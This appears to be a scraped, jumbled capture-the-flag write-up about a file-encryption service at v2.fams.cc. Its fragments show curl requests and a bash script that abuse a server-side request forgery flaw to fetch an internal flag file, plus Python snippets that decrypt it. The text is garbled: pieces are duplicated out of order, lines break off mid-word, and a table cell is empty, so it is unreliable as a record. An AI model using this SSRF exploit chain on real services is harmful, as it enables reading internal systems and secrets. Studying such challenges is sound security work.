V2.fams.cc
"download": "http://v2.fams.cc/download/7a9c3d", "used_key": "8c3c5d1e2f4a6b7c9d0e1f2a3b4c5d6e"
curl -v -X POST http://v2.fams.cc/encrypt \ -d "url=http://example.com&key=testkey" The response JSON:
#!/usr/bin/env bash TARGET="http://v2.fams.cc" SSRF_URL="http://127.0.0.1:8000/secret/flag.txt" KEY="ssrf" v2.fams.cc
| # | Weakness | Why it matters | |---|----------|----------------| | 1 | | The backend fetches any URL you give it, even internal services (e.g., http://127.0.0.1:8000 ). | | 2 | Predictable encryption key derivation | The key is derived from the user‑supplied “key” string in a deterministic way (MD5 → 16‑byte key). | | 3 | Insecure storage of the secret flag | The flag is stored unencrypted on the internal file‑server that the SSRF can reach ( /flag.txt ). |
curl -s -X POST http://v2.fams.cc/encrypt \ -d "url=http://127.0.0.1:8000/secret/flag.txt&key=ssrf" \ -o response.json Result ( response.json ): "download": "http://v2
"download": "http://v2.fams.cc/download/5c6b4a", "used_key": "3d2e4c5a9b7d1e3f5a6c7d8e9f0a1b2c"
# 1️⃣ Ask the service to encrypt the internal flag file RESP=$(curl -s -X POST "$TARGET/encrypt" \ -d "url=$SSRF_URL&key=$KEY") DOWNLOAD=$(echo "$RESP" | jq -r .download) USED_KEY=$(echo "$RESP" | jq -r .used_key) |
curl -s -X POST http://v2
At first glance the service looks harmless, but a closer look reveals three exploitable weaknesses that can be chained together:
iv_ct = open('/tmp/enc.bin','rb').read() iv, ct = iv_ct[:16], iv_ct[16:]
# Key derived from the "key" we sent ("ssrf") key_hex = '8c3c5d1e2f4a6b7c9d0e1f2a3b4c5d6e' key = binascii.unhexlify(key_hex)
"download": "http://v2.fams.cc/download/7a9c3d", "used_key": "8c3c5d1e2f4a6b7c9d0e1f2a3b4c5d6e"
curl -v -X POST http://v2.fams.cc/encrypt \ -d "url=http://example.com&key=testkey" The response JSON:
#!/usr/bin/env bash TARGET="http://v2.fams.cc" SSRF_URL="http://127.0.0.1:8000/secret/flag.txt" KEY="ssrf"
| # | Weakness | Why it matters | |---|----------|----------------| | 1 | | The backend fetches any URL you give it, even internal services (e.g., http://127.0.0.1:8000 ). | | 2 | Predictable encryption key derivation | The key is derived from the user‑supplied “key” string in a deterministic way (MD5 → 16‑byte key). | | 3 | Insecure storage of the secret flag | The flag is stored unencrypted on the internal file‑server that the SSRF can reach ( /flag.txt ). |
curl -s -X POST http://v2.fams.cc/encrypt \ -d "url=http://127.0.0.1:8000/secret/flag.txt&key=ssrf" \ -o response.json Result ( response.json ):
"download": "http://v2.fams.cc/download/5c6b4a", "used_key": "3d2e4c5a9b7d1e3f5a6c7d8e9f0a1b2c"
# 1️⃣ Ask the service to encrypt the internal flag file RESP=$(curl -s -X POST "$TARGET/encrypt" \ -d "url=$SSRF_URL&key=$KEY") DOWNLOAD=$(echo "$RESP" | jq -r .download) USED_KEY=$(echo "$RESP" | jq -r .used_key)
At first glance the service looks harmless, but a closer look reveals three exploitable weaknesses that can be chained together:
iv_ct = open('/tmp/enc.bin','rb').read() iv, ct = iv_ct[:16], iv_ct[16:]
# Key derived from the "key" we sent ("ssrf") key_hex = '8c3c5d1e2f4a6b7c9d0e1f2a3b4c5d6e' key = binascii.unhexlify(key_hex)
